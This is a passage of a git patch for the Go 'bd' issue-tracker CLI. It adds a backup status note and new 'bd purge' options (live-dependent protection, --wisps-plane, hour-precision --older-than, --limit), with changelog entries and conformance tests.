usesProxiedServer() { + return "auto-backup does not run on proxied-server; use 'bd backup sync'" + } + if config.GetValueSource("backup.enabled") != config.SourceDefault { + return "" + } + if usesSQLServer() { + return "auto: off in sql-server mode" + } + if enabled { + return "auto: git remote detected" + } + return "auto: no git remote" +} + // clientServerShareFilesystem reports whether the configured Dolt // server runs on a filesystem the bd client can also see — i.e. // whether a file:// URL constructed on the client is meaningful to diff --git a/cmd/bd/backup_auto_test.go b/cmd/bd/backup_auto_test.go index 4dbd14d9b..5e64195db 100644 --- a/cmd/bd/backup_auto_test.go +++ b/cmd/bd/backup_auto_test.go @@ -123,6 +123,145 @@ func TestIsBackupAutoEnabled(t *testing.T) { } } +// TestBackupAutoStatusNote pins the reason `bd backup status` prints beside +// the effective backup.enabled value against the reason isBackupAutoEnabled +// actually used — the two are computed in different files and drifted apart +// once already. +// +// The regression this locks down arrived with the proxied-parity S3 slice +// (PR #6584): honoring the backup family on managed-local made `bd backup +// status` reachable on a proxied server for the first time, where it rendered +// the embedded-mode footnote "(auto: no git remote)". On any sql-server shape +// the value is false because usesSQLServer() short-circuits, whether or not a +// remote exists, so that reason was simply untrue; and on proxied specifically +// even an explicit backup.enabled=true changes nothing, because the proxied +// arm of PersistentPostRunE never calls runPostRunAutoBackup. +// +// Cannot be parallel: mutates the proxiedServerMode global, primeHasGitRemote +// and env vars. +func TestBackupAutoStatusNote(t *testing.T) { + tests := []struct { + name string + envVal string // "\x00" = not set, otherwise explicit backup.enabled + hasRemote bool + sharedServer bool // BEADS_DOLT_SHARED_SERVER=1 → usesSQLServer() true + proxied bool // proxiedServerMode → usesProxiedServer() true + wantEnabled bool + wantNote string + }{ + { + name: "embedded default + git remote → unchanged", + envVal: "\x00", + hasRemote: true, + wantEnabled: true, + wantNote: "auto: git remote detected", + }, + { + name: "embedded default + no git remote → unchanged", + envVal: "\x00", + hasRemote: false, + wantEnabled: false, + wantNote: "auto: no git remote", + }, + { + name: "embedded explicit → no note, the source explains it", + envVal: "true", + hasRemote: false, + wantEnabled: true, + wantNote: "", + }, + { + // Pre-fix this case printed "auto: no git remote" even with a + // remote configured: server mode, not the remote, is the reason. + name: "sql-server default + git remote → server mode, not the remote", + envVal: "\x00", + hasRemote: true, + sharedServer: true, + wantEnabled: false, + wantNote: "auto: off in sql-server mode", + }, + { + // Non-proxied server mode keeps its post-run hook, so an explicit + // opt-in really does work there and needs no caveat. + name: "sql-server explicit opt-in → no note", + envVal: "true", + hasRemote: false, + sharedServer: true, + wantEnabled: true, + wantNote: "", + }, + { + name: "proxied default → names the missing hook, not the remote", + envVal: "\x00", + hasRemote: true, + proxied: true, + wantEnabled: false, + wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + }, + { + // The dead opt-in: enabled=true with nothing to run it. The note + // must survive an explicit source here, or status reports a bare + // "enabled=true" and the operator believes backups are happening. + name: "proxied explicit opt-in → still inert, still annotated", + envVal: "true", + hasRemote: false, + proxied: true, + wantEnabled: true, + wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Same isolation as TestIsBackupAutoEnabled: a leaked BEADS_DIR or + // a cwd inside the repo tree lets Initialize() load an ambient + // config.yaml whose explicit backup.enabled wins over the computed + // default these cases assert on (be-yjp4z). + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + + orig := primeHasGitRemote + primeHasGitRemote = func() bool { return tt.hasRemote } + t.Cleanup(func() { primeHasGitRemote = orig }) + + origProxied := proxiedServerMode + proxiedServerMode = tt.proxied + t.Cleanup(func() { proxiedServerMode = origProxied }) + + if tt.sharedServer { + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + } else { + os.Unsetenv("BEADS_DOLT_SHARED_SERVER") + t.Cleanup(func() { os.Unsetenv("BEADS_DOLT_SHARED_SERVER") }) + } + + if tt.envVal == "\x00" { + os.Unsetenv("BD_BACKUP_ENABLED") + t.Cleanup(func() { os.Unsetenv("BD_BACKUP_ENABLED") }) + } else { + t.Setenv("BD_BACKUP_ENABLED", tt.envVal) + } + + config.ResetForTesting() + t.Cleanup(func() { config.ResetForTesting() }) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + + // Take the value the way backup status does, so the note is pinned + // against the number it is printed beside rather than a literal. + enabled := isBackupAutoEnabled() + if enabled != tt.wantEnabled { + t.Fatalf("isBackupAutoEnabled() = %v, want %v", enabled, tt.wantEnabled) + } + if got := backupAutoStatusNote(enabled); got != tt.wantNote { + t.Errorf("backupAutoStatusNote(%v) = %q, want %q", enabled, got, tt.wantNote) + } + }) + } +} + // TestClientServerShareFilesystem_GH3523 pins the gating logic that // suppresses auto-backup's file:// register when the Dolt server // runs on a different filesystem from the client. Pre-fix every From 7c2568c3234443b4d56f7617e2d4f278fdb9cf7a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 00:57:24 -0700 Subject: [PATCH 183/624] feat(purge): live-dependent protection, --wisps-plane selector, hour-precision --older-than, --limit (#6883) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(purge): live-dependent protection, --wisps-plane selector, hour-precision --older-than An orchestrator's wisp retention step deletes every closed row in the wisps table older than N hours, except a closed wisp that an open/hooked/in_progress wisp depends on through parent-child, tracks or blocks. `bd purge` could not express that: it selected the ephemeral TIER (so closed --no-history beads, which live in the wisps table, were left behind), it deleted a closed molecule root whose step was still open, and it floored --older-than hours to whole days (36h swept rows 24h old). All three land together so `bd purge --wisps-plane --older-than 168h --force` covers that step. Live-dependent protection (issueops.SweepRequest.ProtectLiveDependents, SweepSkips.LiveDependent): a candidate is held back when a live row depends on it through a SweepLiveDependentEdgeTypes edge (parent-child, tracks, blocks), read from both dependency tables. "Live" is the same not-done set the reference scan uses, custom statuses included, so it is a superset of open/hooked/in_progress. `bd purge` always asks for it (no opt-out: removing live work's root is `bd delete`'s job); `bd prune` does not. Reported as live_dependent_skipped in --json. Wisps-plane selector (issueops.SweepWispsPlane, `--wisps-plane`): the candidates are every closed row in the wisps TABLE, whatever its ephemeral/no_history/wisp_type values, via a new single-plane search (issueops.SearchWispsPlaneInTx) that the store backends call directly and the unit-of-work provider reaches through IssueUseCase.SearchWispsPlane, so embedded, server and proxied share one body. It reaches durable-tier (no-history) rows, so it carries the durable tier's require-a-filter gate. --older-than (purge and prune): day values keep their meaning (7, 7d, 2w); anything else is a Go duration taken exactly (36h, 168h, 90m). Tests: three new Sweeper contract cases (wisps plane clears the whole table, wisps plane requires a filter, protects live dependents) run on dolt, embeddeddolt and the uow provider; workapi unit tests; a CLI retention scenario run in embedded, shared proxied and managed-local proxied modes (fails against origin/main); TestParseOlderThan. Co-Authored-By: Claude Opus 5.5 * test(uow): classify IssueUseCase.SearchWispsPlane as a read in the notifying parity partition TestRecordingIssueUseCaseCoversItsSurface requires every IssueUseCase method to be either wrapped by the notifying decorator or exempted with the reason it fires no hook. SearchWispsPlane reads state and changes none, like SearchIssues beside it. Co-Authored-By: Claude Opus 5.5 * fix(purge): refuse out-of-range --older-than; add --limit for bounded drains; cross-plane protection test Review follow-ups on #6883. --older-than: a day count past what a time.Duration holds (213504d, 30501w) used to wrap silently — 213504d became 25m26s, which on a destructive command selected almost every closed row. It is now refused as out of range; ParseDuration already refused oversized h/m/s values. --limit N (issueops.SweepRequest.Limit, SweepResult.Remaining): one purge deletes at most N rows, oldest closed_at first (then id), after every protection, and reports the rest. --json adds remaining and has_more when --limit is given. At ~15ms/row on the proxied path a single unbounded sweep of a large backlog can outlive a caller's deadline, roll back, and never clear; a bounded loop cannot. Negative limits are ErrValidation at the role and refused at the CLI. Tests: TestParseOlderThan out-of-range rows; contract cases LimitTakesTheOldestClosedFirst and ProtectsLiveDependentsAcrossPlanes (a live issues-table bead depending on a closed wisp via parent-child, tracks and blocks keeps it) on dolt, embeddeddolt and uow; workapi units for the ordering and the negative-limit refusal; the CLI retention scenario now drains with --limit 1 and checks the overflow refusal. CHANGELOG notes that sub-day Nh values used to round UP to a day (12h is now taken exactly) and lists the protection under Changed. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 (cherry picked from commit 2ec0b2f07205bb519e67f81207a5f2a4c99b4e6b) --- .github/workflows/proxied-local-smoke.yml | 5 +- CHANGELOG.md | 38 +++ backend/conformance/role_bundle_cases.go | 5 + backend/conformance/sweeper_contract.go | 239 +++++++++++++++++- cmd/bd/prune.go | 2 +- cmd/bd/purge.go | 221 ++++++++++++---- cmd/bd/purge_test.go | 62 +++-- cmd/bd/purge_wisps_plane_integration_test.go | 207 +++++++++++++++ .../purge_wisps_plane_managed_local_test.go | 19 ++ .../storage/dolt/sweeper_contract_test.go | 25 ++ internal/storage/domain/db/issue.go | 7 + internal/storage/domain/issue.go | 16 ++ .../embeddeddolt/sweeper_contract_test.go | 25 ++ internal/storage/issueops/search.go | 29 +++ internal/storage/issueops/sweep.go | 56 +++- internal/storage/uow/notifying_parity_test.go | 1 + internal/storage/uow/sweeper.go | 82 +++++- internal/storage/uow/sweeper_contract_test.go | 29 +++ internal/workapi/sweep.go | 135 +++++++++- internal/workapi/sweep_test.go | 116 +++++++++ issueops/dependencyeditor.go | 1 + issueops/sweeper.go | 74 +++++- 22 files changed, 1299 insertions(+), 95 deletions(-) create mode 100644 cmd/bd/purge_wisps_plane_integration_test.go create mode 100644 cmd/bd/purge_wisps_plane_managed_local_test.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index e19f4f8dd..263e182e4 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -23,6 +23,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/purge*.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' - 'cmd/bd/proxied_integration_helpers_test.go' @@ -42,6 +43,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/purge*.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' - 'cmd/bd/proxied_integration_helpers_test.go' @@ -110,7 +112,8 @@ jobs: TestManagedLocalProxiedDoltStatusReportsLiveTopology \ TestManagedLocalProxiedDoltStartRefusesOverLiveProxy \ TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ - TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone + TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ + TestManagedLocalProxiedPurgeWispsPlaneRetention do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/CHANGELOG.md b/CHANGELOG.md index 8e4d27cf0..e188daf97 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -39,6 +39,38 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 server topology. Wiring an auto-backup hook through the new routes is left to a later slice. +- **`bd purge` covers an orchestrator's wisp retention sweep.** Three changes + that together let `bd purge --wisps-plane --older-than 168h --force` replace + a raw `DELETE FROM wisps` retention step: + - **Live-dependent protection, always on.** `bd purge` no longer deletes a + closed bead that a live bead depends on through a `parent-child`, + `tracks` or `blocks` edge — a closed molecule root whose step is still + open, a closed wisp a live convoy tracks, a closed blocker of live work. + "Live" is any status that is not done, including custom statuses. The + held-back count is reported as `live_dependent_skipped` in `--json` (and + on its own line in text output). The protection is on the role + (`issueops.SweepRequest.ProtectLiveDependents`); `bd prune` does not ask + for it. + - **`--wisps-plane`** selects every closed row stored in the wisps table, + including `--no-history` beads, which the default ephemeral selection + leaves to `bd prune`. It works on embedded, server and proxied + workspaces, and because it reaches durable-tier rows it requires + `--older-than` or `--pattern`, like `bd prune` + (`issueops.SweepWispsPlane`). + - **`--older-than` accepts hour and finer durations** (`36h`, `168h`, + `90m`, down to `1s`) on both `bd purge` and `bd prune`. Day values (`7`, + `7d`, `2w`) are unchanged. An `Nh` value used to be converted to whole + days: floored above a day (`36h` swept rows only 24 hours old) and + rounded UP to one day below it (`12h` kept everything younger than 24 + hours). Both are now taken exactly, so `bd prune --older-than 12h` now + deletes rows closed 12–24 hours ago that it used to keep. A value too + large to represent (e.g. `213504d`) is now refused instead of silently + wrapping to a tiny age. + - **`--limit N`** caps one `bd purge` run at N beads, oldest-closed first + (`issueops.SweepRequest.Limit`), so a large backlog drains in bounded + transactions; `--json` then adds `remaining` and `has_more`. Loop while + `has_more` is true. + ### Changed - **Proxied-server refusals now say *why* they refuse.** The JSON a refused @@ -65,6 +97,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 instead of the message followed by `Error: exit code 1` and the full usage text. Exit statuses are unchanged; this applies on every topology. +- **`bd purge` keeps closed beads a live bead depends on.** A closed bead + that a not-done bead depends on through `parent-child`, `tracks` or + `blocks` is no longer purged (reported as `live_dependent_skipped`), so a + purge that used to delete a closed molecule root under a live step now + leaves it. See the `--wisps-plane` entry under Added. + ## [1.3.1] - 2026-09-16 ### Changed diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 2169bbe6a..e2dee40d8 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -637,6 +637,11 @@ var roleContractCases = []roleContract{ RunSweeperEmptyMatchIsZeroAndNil, RunSweeperRecordsExactlyOneHistoryEntry, RunSweeperDoesNotMutateTheCallerRequest, + RunSweeperWispsPlaneClearsTheWholeWispsTable, + RunSweeperWispsPlaneRequiresAFilter, + RunSweeperProtectsLiveDependents, + RunSweeperProtectsLiveDependentsAcrossPlanes, + RunSweeperLimitTakesTheOldestClosedFirst, ), roleCases("TreeWalker", "TreeWalker()", oncePerRole, diff --git a/backend/conformance/sweeper_contract.go b/backend/conformance/sweeper_contract.go index db70d027b..bae89c58d 100644 --- a/backend/conformance/sweeper_contract.go +++ b/backend/conformance/sweeper_contract.go @@ -89,6 +89,11 @@ type SweeperFixture struct { // by hand. A nil Exec means "this backend cannot seed raw rows", and the // case that needs it SKIPS with that reason rather than passing quietly. Exec func(ctx context.Context, statements []SQLStatement) error + // AddDependencies wires edges between seeded rows, filled from the + // backend's DependencyEditor role so each adapter routes an edge to the + // dependency table of its source's plane itself. The live-dependent case + // needs it; a nil hook SKIPS that case with the reason. + AddDependencies func(ctx context.Context, req publicops.AddDependenciesRequest) error } // sweeperClosedAt is the stamp every seeded candidate carries, and @@ -345,7 +350,7 @@ func RunSweeperDryRunChangesNothing(t *testing.T, ctx context.Context, fixture S IDPattern: sweeperPattern(fixture, "dry"), } - preview := sweeperSweep(t, ctx, fixture, sweeperWithDryRun(request, true)) + preview := sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)) if !preview.DryRun { t.Error("preview.DryRun = false; the result must echo the request it answered") } @@ -356,7 +361,7 @@ func RunSweeperDryRunChangesNothing(t *testing.T, ctx context.Context, fixture S // A second preview: a dry run that had deleted anything reports a smaller // number here. - if again := sweeperSweep(t, ctx, fixture, sweeperWithDryRun(request, true)); again.Swept != preview.Swept { + if again := sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)); again.Swept != preview.Swept { t.Fatalf("second preview Swept = %d, first = %d: the first preview changed the store", again.Swept, preview.Swept) } @@ -556,7 +561,7 @@ func RunSweeperRecordsExactlyOneHistoryEntry(t *testing.T, ctx context.Context, } before := sweeperHistory(t, ctx, fixture) - sweeperSweep(t, ctx, fixture, sweeperWithDryRun(request, true)) + sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)) if after := sweeperHistory(t, ctx, fixture); after != before { t.Errorf("history went %d -> %d across a DRY RUN, want no entry at all", before, after) } @@ -609,6 +614,230 @@ func RunSweeperDoesNotMutateTheCallerRequest(t *testing.T, ctx context.Context, } } +// RunSweeperWispsPlaneClearsTheWholeWispsTable pins issueops.SweepWispsPlane: +// the selection is the wisps TABLE, so a closed no-history bead — durable-tier, +// and left alone by SweepEphemeral (RunSweeperLeavesNoHistoryBeadsToTheDurableTier) +// — goes with the closed ephemeral wisp, while a closed issues-plane row the +// same pattern admits stays. +func RunSweeperWispsPlaneClearsTheWholeWispsTable(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + wisp := sweeperSeedClosedIssue(t, ctx, fixture, "plane", true) + durable := sweeperSeedClosedIssue(t, ctx, fixture, "plane", false) + noHistory := sweeperIssue(fixture, "plane", "nohist", false) + noHistory.NoHistory = true + if err := fixture.CreateWisp(ctx, noHistory, "sweeper-seed"); err != nil { + t.Fatalf("seeding %s: %v", noHistory.ID, err) + } + pinned := sweeperSeed(t, ctx, fixture, sweeperIssue(fixture, "plane", "pinned", true), func(issue *types.Issue) { + issue.Pinned = true + }) + + request := publicops.SweepRequest{ + Tier: publicops.SweepWispsPlane, + IDPattern: sweeperPattern(fixture, "plane"), + ClosedBefore: &sweeperCutoff, + } + preview := sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)) + if preview.Swept != 2 { + t.Fatalf("dry-run Swept = %d, want 2 (the ephemeral wisp and the no-history bead)", preview.Swept) + } + sweeperAssertWispRows(t, ctx, fixture, 3, wisp, noHistory.ID, pinned) + + result := sweeperSweep(t, ctx, fixture, request) + if result.Swept != 2 { + t.Errorf("Swept = %d, want 2 (the ephemeral wisp and the no-history bead)", result.Swept) + } + if result.Skipped.Pinned != 1 { + t.Errorf("Skipped.Pinned = %d, want 1 — the plane selector does not override pinning", result.Skipped.Pinned) + } + sweeperAssertWispRows(t, ctx, fixture, 0, wisp, noHistory.ID) + sweeperAssertWispRows(t, ctx, fixture, 1, pinned) + sweeperAssertIssueRows(t, ctx, fixture, 1, durable) +} + +// RunSweeperWispsPlaneRequiresAFilter pins that the wisps-plane tier carries +// the durable tier's require-a-filter gate: it reaches no-history beads, which +// are durable-tier. The refusal is asserted with its effect, as the durable +// case does. +func RunSweeperWispsPlaneRequiresAFilter(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + id := sweeperSeedClosedIssue(t, ctx, fixture, "planegate", true) + + result, err := fixture.Sweeper.Sweep(ctx, publicops.SweepRequest{Tier: publicops.SweepWispsPlane}) + if !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("Sweep(wisps-plane, no cutoff, no pattern) error = %v, want ErrValidation", err) + } + if result.Swept != 0 { + t.Errorf("refused sweep reported Swept = %d, want 0", result.Swept) + } + sweeperAssertWispRows(t, ctx, fixture, 1, id) +} + +// RunSweeperProtectsLiveDependents pins issueops.SweepRequest.ProtectLiveDependents: +// a closed row a LIVE row depends on through parent-child, tracks or blocks is +// held back and counted, while a closed row reached only by a non-structural +// edge, or only by a dependent that is itself closed, is swept. +// +// The live sources carry three different not-done statuses (open, +// in_progress, hooked), because "live" is the not-done set and not "open". +// It runs on the wisps-plane tier with a cutoff — the request an +// orchestrator's retention sweep sends — after proving on a dry run that the +// same rows ARE candidates without the protection. +func RunSweeperProtectsLiveDependents(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + if fixture.AddDependencies == nil { + t.Skip("fixture has no AddDependencies hook; cannot wire the edges this case needs") + } + live := func(name string, status types.Status) string { + issue := sweeperIssue(fixture, "live", name, true) + issue.Status = status + issue.ClosedAt = nil + return sweeperSeed(t, ctx, fixture, issue, nil) + } + closed := func(name string) string { + return sweeperSeed(t, ctx, fixture, sweeperIssue(fixture, "live", name, true), nil) + } + + parent := closed("parent") + openChild := live("child-open", types.StatusOpen) + tracked := closed("tracked") + convoy := live("convoy", types.StatusInProgress) + blocker := closed("blocker") + hooked := live("hooked", types.StatusHooked) + related := closed("related") + relater := live("relater", types.StatusOpen) + doneParent := closed("done-parent") + doneChild := closed("done-child") + + if err := fixture.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "sweeper-seed", + Edges: []publicops.DependencyEdge{ + {IssueID: openChild, DependsOnID: parent, Type: publicops.DepParentChild}, + {IssueID: convoy, DependsOnID: tracked, Type: publicops.DepTracks}, + {IssueID: hooked, DependsOnID: blocker, Type: publicops.DepBlocks}, + {IssueID: relater, DependsOnID: related, Type: publicops.DepRelated}, + {IssueID: doneChild, DependsOnID: doneParent, Type: publicops.DepParentChild}, + }, + }); err != nil { + t.Fatalf("wiring dependencies: %v", err) + } + + request := publicops.SweepRequest{ + Tier: publicops.SweepWispsPlane, + IDPattern: sweeperPattern(fixture, "live"), + ClosedBefore: &sweeperCutoff, + } + unprotected := sweeperSweep(t, ctx, fixture, sweeperAsDryRun(request)) + if unprotected.Swept != 6 || unprotected.Skipped.LiveDependent != 0 { + t.Fatalf("unprotected dry run: Swept = %d, LiveDependent = %d; want 6 and 0 — "+ + "the protection must be asked for", unprotected.Swept, unprotected.Skipped.LiveDependent) + } + + request.ProtectLiveDependents = true + result := sweeperSweep(t, ctx, fixture, request) + if result.Skipped.LiveDependent != 3 { + t.Errorf("Skipped.LiveDependent = %d, want 3 (the parent, the tracked bead and the blocker)", + result.Skipped.LiveDependent) + } + if result.Swept != 3 { + t.Errorf("Swept = %d, want 3 (the related-only bead and the closed parent/child pair)", result.Swept) + } + sweeperAssertWispRows(t, ctx, fixture, 3, parent, tracked, blocker) + sweeperAssertWispRows(t, ctx, fixture, 0, related, doneParent, doneChild) + sweeperAssertWispRows(t, ctx, fixture, 4, openChild, convoy, hooked, relater) +} + +// RunSweeperProtectsLiveDependentsAcrossPlanes pins that the live-dependent +// protection reads BOTH dependency tables: a closed wisp that a live DURABLE +// (issues-table) bead depends on through parent-child, tracks or blocks is +// kept, whatever not-done status the durable source carries. +func RunSweeperProtectsLiveDependentsAcrossPlanes(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + if fixture.AddDependencies == nil { + t.Skip("fixture has no AddDependencies hook; cannot wire the edges this case needs") + } + durableLive := func(name string, status types.Status) string { + issue := sweeperIssue(fixture, "xplane", name, false) + issue.Status = status + issue.ClosedAt = nil + return sweeperSeed(t, ctx, fixture, issue, nil) + } + closedWisp := func(name string) string { + return sweeperSeed(t, ctx, fixture, sweeperIssue(fixture, "xplane", name, true), nil) + } + + parent := closedWisp("parent") + tracked := closedWisp("tracked") + blocker := closedWisp("blocker") + loose := closedWisp("loose") + child := durableLive("child", types.StatusOpen) + convoy := durableLive("convoy", types.StatusInProgress) + waiter := durableLive("waiter", types.StatusDeferred) + + if err := fixture.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "sweeper-seed", + Edges: []publicops.DependencyEdge{ + {IssueID: child, DependsOnID: parent, Type: publicops.DepParentChild}, + {IssueID: convoy, DependsOnID: tracked, Type: publicops.DepTracks}, + {IssueID: waiter, DependsOnID: blocker, Type: publicops.DepBlocks}, + }, + }); err != nil { + t.Fatalf("wiring cross-plane dependencies: %v", err) + } + + result := sweeperSweep(t, ctx, fixture, publicops.SweepRequest{ + Tier: publicops.SweepWispsPlane, + IDPattern: sweeperPattern(fixture, "xplane"), + ClosedBefore: &sweeperCutoff, + ProtectLiveDependents: true, + }) + if result.Skipped.LiveDependent != 3 || result.Swept != 1 { + t.Errorf("Swept = %d, LiveDependent = %d; want 1 (the unlinked wisp) and 3", result.Swept, result.Skipped.LiveDependent) + } + sweeperAssertWispRows(t, ctx, fixture, 3, parent, tracked, blocker) + sweeperAssertWispRows(t, ctx, fixture, 0, loose) + sweeperAssertIssueRows(t, ctx, fixture, 3, child, convoy, waiter) +} + +// RunSweeperLimitTakesTheOldestClosedFirst pins issueops.SweepRequest.Limit: +// one call deletes at most Limit rows, oldest closed_at first, and reports the +// rest as Remaining; the next call picks up where it stopped. +func RunSweeperLimitTakesTheOldestClosedFirst(t *testing.T, ctx context.Context, fixture SweeperFixture) { + t.Helper() + seed := func(name string, closed time.Time) string { + return sweeperSeed(t, ctx, fixture, sweeperIssue(fixture, "limit", name, true), func(issue *types.Issue) { + issue.ClosedAt = &closed + }) + } + newest := seed("newest", sweeperClosedAt) + middle := seed("middle", sweeperClosedAt.Add(-24*time.Hour)) + oldest := seed("oldest", sweeperClosedAt.Add(-48*time.Hour)) + + request := publicops.SweepRequest{ + Tier: publicops.SweepEphemeral, + IDPattern: sweeperPattern(fixture, "limit"), + Limit: 2, + } + first := sweeperSweep(t, ctx, fixture, request) + if first.Swept != 2 || first.Remaining != 1 { + t.Fatalf("first limited sweep: Swept = %d, Remaining = %d; want 2 and 1", first.Swept, first.Remaining) + } + sweeperAssertWispRows(t, ctx, fixture, 0, oldest, middle) + sweeperAssertWispRows(t, ctx, fixture, 1, newest) + + second := sweeperSweep(t, ctx, fixture, request) + if second.Swept != 1 || second.Remaining != 0 { + t.Fatalf("second limited sweep: Swept = %d, Remaining = %d; want 1 and 0", second.Swept, second.Remaining) + } + sweeperAssertWispRows(t, ctx, fixture, 0, newest) + + if _, err := fixture.Sweeper.Sweep(ctx, publicops.SweepRequest{ + Tier: publicops.SweepEphemeral, IDPattern: sweeperPattern(fixture, "limit"), Limit: -1, + }); !errors.Is(err, publicops.ErrValidation) { + t.Fatalf("negative Limit error = %v, want ErrValidation", err) + } +} + // --- fixture helpers ------------------------------------------------------- // sweeperPattern is the glob that scopes one case's ids: a sweep is asked of a @@ -664,8 +893,8 @@ func sweeperSeedOpen(t *testing.T, ctx context.Context, fixture SweeperFixture, return sweeperSeed(t, ctx, fixture, issue, nil) } -func sweeperWithDryRun(request publicops.SweepRequest, dryRun bool) publicops.SweepRequest { - request.DryRun = dryRun +func sweeperAsDryRun(request publicops.SweepRequest) publicops.SweepRequest { + request.DryRun = true return request } diff --git a/cmd/bd/prune.go b/cmd/bd/prune.go index 510a62101..e230e199c 100644 --- a/cmd/bd/prune.go +++ b/cmd/bd/prune.go @@ -73,7 +73,7 @@ func init() { pruneCmd.Flags().BoolP("force", "f", false, "Actually prune (without this, shows preview)") pruneCmd.Flags().Bool("ignore-references", false, "Delete closed beads even when referenced by open beads (use with care; see --help for details)") pruneCmd.Flags().Bool("dry-run", false, "Preview what would be pruned with stats") - pruneCmd.Flags().String("older-than", "", "Only prune beads closed more than N ago (e.g., 30d, 2w, 60)") + pruneCmd.Flags().String("older-than", "", "Only prune beads closed more than N ago (e.g., 30d, 2w, 60, 36h)") pruneCmd.Flags().String("pattern", "", "Only prune beads matching ID glob pattern (e.g., 'gm-old-*')") rootCmd.AddCommand(pruneCmd) } diff --git a/cmd/bd/purge.go b/cmd/bd/purge.go index 0445e5ee7..0337db793 100644 --- a/cmd/bd/purge.go +++ b/cmd/bd/purge.go @@ -2,6 +2,7 @@ package main import ( "fmt" + "math" "strconv" "strings" "time" @@ -36,6 +37,12 @@ type purgeScope struct { // is not done. `bd prune` asks unless --ignore-references; `bd purge` // never does, because a wisp's citations are as transient as the wisp. protectReferenced bool + // protectLiveDependents asks the role to skip candidates a live bead + // depends on through a parent-child, tracks or blocks edge. `bd purge` + // always asks: deleting a closed wisp whose child, tracker or blocked bead + // is still live cuts that live work loose from its root, and there is no + // retention reason to want that — a deliberate removal is `bd delete`. + protectLiveDependents bool // reportsReferences publishes the reference-skip keys under --json. It is // separate from protectReferenced because `bd prune --ignore-references` // still publishes them, as zeroes, which is the shipped shape. @@ -52,7 +59,21 @@ Closed ephemeral beads (wisps, transient molecules) accumulate rapidly and have no value once closed. This command removes them to reclaim storage. Deletes: issues, dependencies, labels, events, and comments for matching beads. -Skips: pinned beads (protected). +Skips: pinned beads, and closed beads a live bead still depends on through a +parent-child, tracks or blocks edge (a closed molecule root whose step is open, +a closed bead a live convoy tracks). Live means any status that is not done. + +--wisps-plane selects by storage plane instead: every closed row stored in the +wisps table, including --no-history beads, which the default ephemeral +selection leaves to ` + "`bd prune`" + `. It reaches durable-tier rows, so it requires +--older-than or --pattern, like ` + "`bd prune`" + `. + +--limit N caps one run at N beads, oldest-closed first, so a large backlog can +be drained in bounded transactions; --json then reports "remaining" and +"has_more". Loop while has_more is true. + +--older-than takes days (7, 7d), weeks (2w) or a duration with hour precision +(36h, 168h, 90m). To delete closed non-ephemeral beads (regular tasks, features, bugs, etc.) use ` + "`bd prune`" + ` instead. @@ -65,6 +86,9 @@ EXAMPLES: bd purge --force # Delete all closed ephemeral beads bd purge --older-than 7d --force # Only purge items closed 7+ days ago bd purge --pattern "*-wisp-*" # Only purge matching ID pattern + bd purge --older-than 36h --force # Hour precision: closed 36+ hours ago + bd purge --wisps-plane --older-than 168h --force + # Every closed wisps-table row, incl. no-history bd purge --dry-run # Detailed preview with stats`, SilenceUsage: true, SilenceErrors: true, @@ -76,14 +100,20 @@ EXAMPLES: } }() - return runPurgeOrPrune(cmd, purgeScope{ - cmdName: "purge", - pastTense: "purged", - countKey: "purged_count", - dryRunCountKey: "purge_count", - subjectNoun: "closed ephemeral bead", - tier: issueops.SweepEphemeral, - }) + scope := purgeScope{ + cmdName: "purge", + pastTense: "purged", + countKey: "purged_count", + dryRunCountKey: "purge_count", + subjectNoun: "closed ephemeral bead", + tier: issueops.SweepEphemeral, + protectLiveDependents: true, + } + if wispsPlane, _ := cmd.Flags().GetBool("wisps-plane"); wispsPlane { + scope.subjectNoun = "closed wisps-plane bead" + scope.tier = issueops.SweepWispsPlane + } + return runPurgeOrPrune(cmd, scope) }, } @@ -110,6 +140,11 @@ func runPurgeOrPrune(cmd *cobra.Command, scope purgeScope) error { dryRun, _ := cmd.Flags().GetBool("dry-run") olderThan, _ := cmd.Flags().GetString("older-than") pattern, _ := cmd.Flags().GetString("pattern") + // Only `bd purge` defines --limit; GetInt on an undefined flag is 0, "no cap". + limit, 